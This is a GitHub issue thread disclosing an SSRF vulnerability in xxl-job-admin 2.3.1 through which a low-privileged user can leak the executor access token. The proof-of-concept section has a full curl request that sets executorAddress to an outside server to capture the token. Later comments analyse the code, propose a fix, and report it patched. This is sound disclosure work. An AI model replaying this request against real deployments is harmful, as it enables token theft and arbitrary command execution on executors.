Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

xxl-job =< 2.3.1 version (latest version) has SSRF vulnerability, which causes low-privileged users to control executor to execute arbitrary commands #3002

Closed
cleanmgr112 opened this issue Oct 10, 2022 · 5 comments

Comments

@cleanmgr112
Copy link

xxl-job =< 2.3.1 version (latest version) has SSRF vulnerability, which causes low-privileged users to control executor to execute arbitrary commands

  1. Vulnerability description
    XXL-JOB is a distributed task scheduling platform based on java language in the XXL (XXL-JOB) community.
    There is an SSRF vulnerability in xxl-job-2.3.1/xxl-job-admin/src/main/java/com/xxl/job/admin/controller/JobLogController.java of Xxl-job 2.3.1, which originates from /logDetailCat, it directly sends a query log request to the address specified by executorAddress without judging whether the executorAddress parameter is the valid executor address. The query request will have the XXL-JOB-ACCESS- TOKEN, resulting in the leakage of XXL-JOB-ACCESS-TOKEN, and then the attacker obtains XXL-JOB-ACCESS-TOKEN and calls any executor, causing the execution of arbitrary commands of the executor.
    The /logDetailCat interface call only needs to be a low Privilege user of the platform。

2.Affected version
Xxl-job-admin =< 2.3.1 (latest)

3.Proof of concept
1、build an http server locally and print the http request header log.
image
2、Create a normal user normal without any executor permissions。
image
image
3、When using the normal user to call the interface, set the input parameter executor Address to the http server address in step 1, and print the XXL-JOB-ACCESS-TOKEN directly on the target server
curl 'http://localhost:8080/xxl-job-admin/joblog/logDetailCat' \ -H 'Accept: application/json, text/javascript, */*; q=0.01' \ -H 'Accept-Language: zh-CN,zh;q=0.9' \ -H 'Connection: keep-alive' \ -H 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' \ -H 'Cookie: Idea-6a85f0b8=3349f800-77dc-4e25-a562-885457beb2aa; XXL_JOB_LOGIN_IDENTITY=7b226964223a322c22757365726e616d65223a226e6f726d616c222c2270617373776f7264223a223563373066666266643839303065626533643037326562346162353064376162222c22726f6c65223a302c227065726d697373696f6e223a22227d' \ -H 'Origin: http://localhost:8080' \ -H 'Referer: http://localhost:8080/xxl-job-admin/' \ -H 'Sec-Fetch-Dest: empty' \ -H 'Sec-Fetch-Mode: cors' \ -H 'Sec-Fetch-Site: same-origin' \ -H 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.88 Safari/537.36' \ -H 'X-Requested-With: XMLHttpRequest' \ -H 'sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="100", "Google Chrome";v="100"' \ -H 'sec-ch-ua-mobile: ?0' \ -H 'sec-ch-ua-platform: "macOS"' \ --data-raw 'executorAddress=http://10.224.203.118&logId=0&fromLineNum=0&triggerTime=1586629003729' \ --compressed
image
image

4、Use the token to call the task trigger interface of the executor Restful API to execute arbitrary commands
image

4、Recommendations
The same as in JobLogController.java, when matching the /joblog route, it will enter the index method to judge whether the 'executorAddress executor address belongs to the executor address.

@superjock1988
Copy link

I cannot verify locally whether poc can be debugged
image

@weibingtie
Copy link

老哥,解决了吗?

@coderManFans
Copy link

the code in XxlJobRemotingUtil has the secure bug in the method
com.xxl.job.core.util.XxlJobRemotingUtil#postBody below
if(accessToken!=null && accessToken.trim().length()>0){ connection.setRequestProperty(XXL_JOB_ACCESS_TOKEN, accessToken); }
set the XXL_JOB_ACCESS_TOKEN into the request header is to verify the http://serverIP:8080/api/{uri}, the Api is
defined in JobApiController, checking XXL_JOB_ACCESS_TOKEN is true, the method code as below:
` *
* @param uri
* @param data
* @return
*/
@RequestMapping("/{uri}")
@responsebody
@PermissionLimit(limit=false)
public ReturnT api(HttpServletRequest request, @PathVariable("uri") String uri, @requestbody(required = false) String data) {

    // valid
    if (!"POST".equalsIgnoreCase(request.getMethod())) {
        return new ReturnT<>(ReturnT.FAIL_CODE, "invalid request, HttpMethod not support.");
    }
    if (uri==null || uri.trim().length()==0) {
        return new ReturnT<>(ReturnT.FAIL_CODE, "invalid request, uri-mapping empty.");
    }

   // verify accessToken
    if (XxlJobAdminConfig.getAdminConfig().getAccessToken()!=null
            && XxlJobAdminConfig.getAdminConfig().getAccessToken().trim().length()>0
            && !XxlJobAdminConfig.getAdminConfig().getAccessToken().equals(request.getHeader(XxlJobRemotingUtil.XXL_JOB_ACCESS_TOKEN))) {
        return new ReturnT<>(ReturnT.FAIL_CODE, "The access token is wrong.");
    }

    // services mapping
    if ("callback".equals(uri)) {
        List<HandleCallbackParam> callbackParamList = GsonTool.fromJson(data, List.class, HandleCallbackParam.class);
        return adminBiz.callback(callbackParamList);
    } else if ("registry".equals(uri)) {
        RegistryParam registryParam = GsonTool.fromJson(data, RegistryParam.class);
        return adminBiz.registry(registryParam);
    } else if ("registryRemove".equals(uri)) {
        RegistryParam registryParam = GsonTool.fromJson(data, RegistryParam.class);
        return adminBiz.registryRemove(registryParam);
    } else {
        return new ReturnT<>(ReturnT.FAIL_CODE, "invalid request, uri-mapping("+ uri +") not found.");
    }

}

`
so we see it, only when the uri is in (callback,registry,registryRemove) need set the accessToken to the connection request
header.

finnally, we just have to filter the url in the com.xxl.job.core.util.XxlJobRemotingUtil#postBody method,as this :
`
boolean secureUri = url.endsWith("callback") || url.endsWith("registry") || url.endsWith("registryRemove");

        if(secureUri && accessToken!=null && accessToken.trim().length()>0){
            connection.setRequestProperty(XXL_JOB_ACCESS_TOKEN, accessToken);
        }

`

but Not over yet, when check the security between server and client, the xxl-job should not use the XXL_JOB_ACCESS_TOKEN with no encryption.

@coderManFans
Copy link

the above analysis has ignored the client code as below:
EmbedServer.java

`
private Object process(HttpMethod httpMethod, String uri, String requestData, String accessTokenReq) {
// valid
if (HttpMethod.POST != httpMethod) {
return new ReturnT(ReturnT.FAIL_CODE, "invalid request, HttpMethod not support.");
}
if (uri == null || uri.trim().length() == 0) {
return new ReturnT(ReturnT.FAIL_CODE, "invalid request, uri-mapping empty.");
}
// verify token
if (accessToken != null
&& accessToken.trim().length() > 0
&& !accessToken.equals(accessTokenReq)) {
return new ReturnT(ReturnT.FAIL_CODE, "The access token is wrong.");
}

        // services mapping
        try {
            switch (uri) {
                case "/beat":
                    return executorBiz.beat();
                case "/idleBeat":
                    IdleBeatParam idleBeatParam = GsonTool.fromJson(requestData, IdleBeatParam.class);
                    return executorBiz.idleBeat(idleBeatParam);
                case "/run":
                    TriggerParam triggerParam = GsonTool.fromJson(requestData, TriggerParam.class);
                    return executorBiz.run(triggerParam);
                case "/kill":
                    KillParam killParam = GsonTool.fromJson(requestData, KillParam.class);
                    return executorBiz.kill(killParam);
                case "/log":
                    LogParam logParam = GsonTool.fromJson(requestData, LogParam.class);
                    return executorBiz.log(logParam);
                default:
                    return new ReturnT<String>(ReturnT.FAIL_CODE, "invalid request, uri-mapping(" + uri + ") not found.");
            }
        } catch (Exception e) {
            logger.error(e.getMessage(), e);
            return new ReturnT<String>(ReturnT.FAIL_CODE, "request error:" + ThrowableUtil.toString(e));
        }
    }

`
if use above code ,we need filter the log that don't use accessToken check,but it seems nothing change.

the verify token has strongly checking relation in client and server. so if we want solve the secure problem that it needs
an authentication mechanism like login access.

@xuxueli
Copy link
Owner

xuxueli commented Mar 23, 2023

问题已修复,相关代码已推动。

@xuxueli xuxueli closed this as completed Mar 23, 2023
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

5 participants